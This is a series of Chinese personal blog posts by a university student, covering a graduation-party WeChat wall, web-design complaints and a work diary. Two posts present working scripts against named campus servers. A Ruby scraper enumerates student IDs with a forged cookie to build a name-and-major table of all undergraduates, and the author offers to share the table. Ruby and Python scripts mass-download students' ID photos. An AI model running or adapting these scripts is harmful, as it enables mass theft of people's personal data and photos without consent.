谁是那晚的 Super Star ? ——微信墙数据的背后

2013年6月19日晚,在华中师范大学的大学生活动中心5楼正举办着我们的大学毕业晚会。立于舞台右侧的投影上滚动显示着现场发来的微信信息,这块实时互动的 微信墙 今晚无疑是抢够了风头……
 

?===准备===

我们的毕业晚会是订在6月19日晚,而我直到18日上午才得知晚会现场需要 微博墙 或 人人墙 进行互动。微博大屏幕需提前3天申请,人人墙需要提前48小时申请…… 依托第三方的微信墙成了最后的救命稻草
能想到微信墙还归因于在人人上面看到的一张 华科大同歌同行 微信墙的照片。多方考证后,到晚上确定使用微信时,发现这个由武大开发的第三方平台很不成熟,前端需要重写 O_o~ 神奇的是,这晚我正好中暑ing ~ 熬夜作罢,所有的压力都压到了第二天
19日早上5:30开始起床code,重写界面样式,添加单条放大功能,顺手修正信息展示中的一个逻辑错误(PS:微信墙作者的前端实力实在不敢恭维~ 好在他们还年轻,前途依旧无量 =.=)。完成这些后,进一步通过自己的服务器请求来中转跳过跨域问题,使 微信墙 可以随时随地在线访问到(http://wall.ichou.cn/)
然后就是在群里吼上一嗓子,收集BUG,Fix Bug …… 万幸bug很少,所以后面才勉强顺利一点
 

===现场===

wall

由于场地占用问题,入场准备比预计晚了半个多小时,加上投影设备没有提前就位,留给现场调试的时间几乎变成了零。与 赵一起搭完投影,连接好电脑后,发现完全不需要再调试程序了。也几乎与此同时,第一条现场微信出现在大屏幕上,是一个很顺利的开始
晚会现场网络状况略不理想,原计划监控后台的工作由于平台后台简陋的技术处理手段和糟糕的网速变得几乎不可能了,这也意味着当晚的微信将完全没有审核和删除机制(所幸在此处这一点并不那么重要~)。同样因为网络问题,现场大屏幕的电脑随时有断网的危险,这确实是折磨了我一个晚上的问题。另外,踩掉接线板的问题也让我颇为担心~ 可最终它还是发生了 =.=
总的来说,微信墙 表现还是足够强健稳定的,面对滔滔的刷屏并没有出现让我尴尬的技术故障,给同学四年的大家留下一个完美的回忆,这已经是我最欣慰的事了。
 

===后期分析===

晚会伊始,我预测当晚的微信量会超过2000,这个数据相比起微博墙、人人墙的3位数级数据量根本就是不可同日而语。这就是微信的优势——可以肆无忌惮的发送,而不用担心刷屏带来的其他影响。
最后的数据显示:
微信墙总微信数为 1837 条,活动现场为 1749 条 (离目标就差一点点了~)
通过每分钟微信条数显示:

per-min

从数据来看,郭珩的大腿和红色小裤裤毫不留情的荡涤了观众的底线,引来了全场最高的吐槽率,完胜!

全场的几次刷屏高潮分别出现在:

  1. 18:48 —— 晚会开场之前,大部分人刚刚进入刷屏模式,各种无节操的闲扯
  2. 19:23 —— 开场视频,满载大学四年回忆的视频和老师们的一句句赠言与祝福,同志们情绪立马就激动了~
  3. 19:38 —— 物院男女秀(貌似时这个名儿吧~),各种吐槽,小高潮
  4. 19:58 —— 郭老板劲装热舞登场,瞬间亮瞎全场,槽点从腹肌到腿毛无所不有,沸腾了~
  5. 20:58 —— 曹导开唱,开始全场飙泪~
  6. 21:08 —— 即将散场,各种桑感的道别、约定、呼叫声开始响起

PS:20:24~20:28 稍显沉默时因为那奇妙的光影视觉表演,大屏幕是关闭的 O_o~
好了,再来看看当晚的刷屏达人都是谁:
per-one
 
一晚80条的数据确实比较V5了,这连我也不得不认输了 =.=
其实我才是真正的刷屏发动机,可是我必须全身心的盯好微信墙,一刻也不能松懈,只发出了寥寥几条,不甘啊~~
最后来看看词频分析:
words
 
“求婚” 一词自然是本场当仁不让的主角,无可撼动的绝对存在。
“僵尸”一词排名如此靠前可以说是这次最出乎我意料的现象了,通信的节目看来也十分受欢迎嘛~
 

===打完收工===

好了,终于四年毕业了,终于赶在毕业前做了一点点有意义的事儿。
从大一开始,我参加了物院的每一届毕业晚会,总是有个什么打酱油的理由让我出现在现场,还在想到自己这届的时候可不可以玩缺席,终归还是没能如愿 O_o~
感谢彭月、郭老板、赵博涵、小胖子以及曹导对这面墙的大力支持~
其实呢,我偷偷的在墙里藏了一个secret. But nobody noticed it~ That’s a pity.
最后,还是祝同学们前程似锦吧~ 永远要记得为了自己所坚信的去奋斗,加油

华师网站漏洞报告:选课系统

漏洞地址:http://218.199.196.57/scripts/init
漏洞描述:输入学号即可得到姓名与专业
 
其实这个也算不上什么漏洞,只是设计者脑子进水了而已,这样的一来谁都可以拿到一份全华师本科生的 学号-姓名-专业 对照表
如果要从官方途径拿这个表可是要费些功夫的 而且据说12级的他们还怎么都不给是吧
那么就只能赞扬选课系统设计者的开源精神咯
写脚本 收走:

#华师选课系统漏洞利用 Ruby 版本
# encoding: utf-8
require ‘net/http’
require ‘uri’
require “iconv”
2012210001.upto(2012214600){|num|
uri = URI.parse(“http://218.199.196.57/scripts/init”)
req = Net::HTTP::Post.new(uri.path)
req.set_form_data(‘strVerify’ => ‘false’, ‘strUser’ => “#{num}”)
req.add_field(‘Cookie’, ‘iscookies=y; domain=218.199.196.57; path=/; expires=Sun, 30 Dec 2012 23:50:49 GMT’)
res = Net::HTTP.start(uri.host, uri.port) do |http|
http.request(req)
end
conv = Iconv.new(“utf-8”, “GBK”)
regex = /姓名.*<\/font>/
result = regex.match(conv.iconv(res.body)).to_s
if result.length != 0
#puts result[0,result.length-7]
fh = File.open(“2009.txt”, “a”)
fh.puts “#{num} ” << result[0,result.length-7]
fh.close
puts “#{num} OK!”
else
fh = File.open(“temp.txt”, “a”)
fh.puts “#{num} not exist!”
fh.close
puts “#{num} not find!”
end
}

这个页面访问会验证cookie是否可用,所以请求的时候带上个?iscookies=y?的 cookie 就好了
不想自己的采又正好需要一份的(比如做网站需要伪实名的),mail 我也阔以 =。=

语义化Web页面实践+下载首页吐槽

还在华师下载!不是早做了嘛?明显上次那个没通过,于是我就放弃了,做这么累又没钱赚,我还不是驴
谁爱做谁做,谁有本事谁做去!
肯自己拿着PSD图写静态页面已经是我最大的让步了,不过我想也就仅此一页吧
其实我主要是不放心,不对,是根本没法接受他们写出来的页面,如果能运行就是网页的话,也许他们也没什么问题。
毕竟以前自己也是那个流派的。。。。
拿着那不知哪里浪来的首页设计图,真心无法用语言形容。倒不是我多浅薄,没见过市面,而是这东西确实太泛滥了,以至于斯。想当初自己设计的时候,光创意就够他们消化多久了。只恨了自己不懂艺术(出去我所理解的部分除外),没发将心中所想表达出来,学而不精,认栽!
没有切片,没有精确到像素,没有能证明原创的图层,没有图层规范命名,粗暴的印章工具残痕,不知为何的辅助线,甚至是没有对齐的没有等宽的大把大把的元素。。。第一美工的超凡之处,我等鼠辈能见上一次,便得震惊大半夜了
“页面现在是980的宽,拓到1000吧。”
“现在是960吧”
“嗯?”
“你左右留有10像素边,这个也要切进去?”
“哦,是哦,960”
“图片哪儿是手风琴式,看得出来吗?”
(没看出来)“啊,那不是要JS?怎么搞?”
“嗯,自己去搜,或者留你就留在那儿。”
“哟西。”
??
“华科大在线又改版了”
“嗯,不过JS处理上,有些问题,导致页面会闪烁一下”
“哪里?”
“导航,很明显吧,上面那个图片切换应该不是自己写的吧”
“应该不是,是网上找的吧”
(查看源代码ing,找到被引用JS插件,截图插件信息,发送)“是这个。”
“擦,连这个都没去掉”
(霎时无语)“不能去吧,人家开源的,有开源协议保护的。。。话说我们暑假也写了一个JQ插件,也开源了”
“我对这些东西没什么兴趣。。。”
(看得出来,你没什么兴趣,否则写三句JS的问题怎么会到网上搜一大把呢?)
好吧,吐槽完了,感觉自己像个坏人一样。虽然牢骚了这么多,其实人家也还是值得尊敬的,至少很坦诚,没你这家伙一样腹黑。不爽就给我吞下去吧,或者发向它真正的起源之地,怎么想他也不过是个可以迁怒的对象而已。。。说到底,我们都是受害者!
想想你在这个组织里也挺久了,最要好的朋友不也算他一个么?虽然有点2,大家都有点2,谁是装的,谁是真的,谁又知道呢?这若定义为 ?工友级朋友 ?,以后这样的朋友还会有吗?多吗? 不好吗?
 
再来说这半个晚上搞出来的下载中心的美工组版的静态首页
或是赌气,或是练习,亦或二者都是。这是一个真正的语义化Web页面,这次没有偷懒,把这些常挂在嘴边的概念彻彻底底的实践了一把,这感觉还真是酣畅淋漓。

全页只有一个无语义标签(回头就干掉它)

<div style=”clear:both;”></div>

完成后,仍不满意,再用一些HTML5标签重构一次

心满意足,写完博客就睡觉,早安,华师!

华师本科生证件照下载BUG

hust-facemash.com 已经昙花一现的火爆了一把 各大媒体都是使用的“黑客”这个称呼
想想也是啊 他们的作为姑且也可以算做“黑客”了哈
 
关于华师信息门户的漏洞 这也不是第一个了 跨站验证的漏洞DD都已经投入使用了 而且神不知鬼不觉
我也曾两次准备将这个漏洞用于官方的某些网站系统上 但是最终都没能让我如愿以尝
给网络中心的老师讲这个漏洞的存在与危害。。 他一副完全听不懂的样子
试图让他同意我设计一个API接口 以使这个漏洞合法化 规范化 明显他完全无法理解为什么要做这么一个东西
(其实利用漏洞时有些敏感信息只是副产品 不是设计者真正想要的?所以这就是API存在的意义:提供你想要的 保护你不能看到的 ?可惜很多信息中心的管理者还看不到这点 于是就有很多人盯着它的漏洞而不是接口)
 
这次的证件照下载 老实说连BUG都算不上 只是单纯的没考虑安全问题
其实这样的漏洞校各网站 不计其数
比如比较奇葩的前学子网 更改板块会清空数据库 原因是一行操作数据库的代码写错了 不,应该是copy错了 ?etc.
 
这个学期在网络中心也经历过两次由于攻击全校突然断网的情况 ,对于不知情的广大同学来说大概只会骂:该死的校园网 有抽风了。
不过对我们来说,心情是无比激动!
 
江2货一直嚷嚷着走之前要在学校网络里好好搞一把,当然他就是个2货,老邓对他貌似也没什么防范。。。还不如我(至少现在是这样) 我想开个远程老邓就如坐针毡
DD这家伙从没想过入侵啊,搞死搞残什么的,但是到目前为止信息门户的漏洞都是他在挖掘,不客气的说:他就是华师信息门户最大的Bug。
 
最后放个下载样例,以免以后忘了:
RUBY 版 ?By:Xworm

2011210001.upto(2011214600){|num|
require ‘open-uri’
url = “http://202.114.32.143/xj/jw/xj/studentmng.do?method=showPic&zzp=/stdpic/photo2011/2011photo/#{num}.jpg”
open(url) do |fin|
size = fin.size
download_size = 0
puts “size: #{size}”
filename = url[url.rindex(‘/’)+1, url.length-1]
puts “name: #{filename}”
open(File.basename(“./#{filename}”),”wb”) do |fout|
while buf = fin.read(1024) do
fout.write buf
download_size += 1024
#sleep(0.5)
print “Downloaded #{download_size * 100 / size}%\r”
STDOUT.flush
end
end
end
}

 
PY版 By:Alvin Tin

#!/usr/bin/env python
# -*- coding: utf-8 -*-
“””2010210001.到2010214469″””
def _get_img_via_id(_su_id):
import urllib2
picture_page = r”http://202.114.32.143/xj/jw/xj/studentmng.do?method=showPic&zzp=xg\zp\{0}.jpg”.format(_su_id)
opener1 = urllib2.build_opener()
page1 = opener1.open(picture_page)
my_picture = page1.read()
if my_picture:
filename = picture_page.split(“\\”)[-1]
print picture_page
fout = open(filename, “wb”)
fout.write(my_picture)
fout.close()
for i in range(2010210001,2010214469):
_get_img_via_id(i)

[4月半]在网络中心给备感压力的吐槽

今天是周末,每一个组长都懂的,今天要交工作周记。。。
毫无意外,乐的周记会在星期六早上我还没起床的时候从QQ邮箱发过来,陈会在不知多久后看到我的留言了再写咯用QQ传过来
不得不承认周记是个很棘手的问题啊,上周都没交啊
这周记的难不在于它要占用多少的时间来做,而是它那表格里让人心虚的空,找不到什么好的东西来填啊 以至于最终不得不把一些琐碎的小事也包装的冠冕堂皇写进去 如果真的从头到位看看我们的周记能得出的唯一一个结论就是:这个小组的人真蛋疼。。。
看看这周做了什么吧:
在例会上将了一次SVN的简介和使用(为了这个花费了相当久的时间来酝酿 真的很久)
然后在全新的Win2008环境下搭建SVN 并把博客也迁进来(这算唯一的收获吧)
还和邓老师详细研究了(其实已经可以用“论证”这个词了)我们在使用SVN中可能遇到的一些问题和解决方案(老实说 这个我真没上心 全是邓老师的功劳 大家鼓掌)
。。。。(省略号占行)
这就是一周的工作 量有点小? 呵呵 也许吧 懂28原理的人默默绕过这个问题
其实原计划这周应该拿出整个[华师下载中心]的开发文案,结果连提一下它的借口都找不到了 这样的情况下面对工作周记让我情何以堪?
清明我带队去爬了幕阜山,一共三天,在山里摸爬滚打。回来我只偷偷的和其他领队说笑:第一天我们带的是幼儿园,第二天我们改带弱智园,第三天差不多带的是疯人院了。。。
当然,这只是说笑,其实队员们学习得很快,至少现在随便把他们谁扔山里都是没有性命之忧的 。
我在想现在丢个网站给我们组员做(包括我自己),他们能搞定吗?
无所作为
这就是我们小组当前状态的真实写照
我们愿意这样?
我们无心作为?
我们混日子打酱油在?
蓦然发现,其实工作计划和梦想是一样遥远的东西
不是没有去努力 而是根本没能迈出第一步
环境的抑制力是很奇怪的 遇弱则弱 遇强更强
越发真切 就越容易插肩而过
于是 我每周继续纠结 继续研究 继续写SVN的使用文档(借此以营造我的SVN大师形象 并扼杀其他同学成为大师的可能~~)
继续搭建博客
继续探寻IPv6 BT下载系统
然后等到写工作周记的时候发现, 只能写这些不痛不痒不相干的事
我想把[华师下载中心]当成我的作品来做
我想学Js+Ajax 甚至Python
我想和组员们一起 和其他不属于我们的朋友一起做一些我们感兴趣的开发
我们需要一个可以投入激情的环境,
而不是每周纠结于工作周记~~~
希望明天睡醒就好了 over~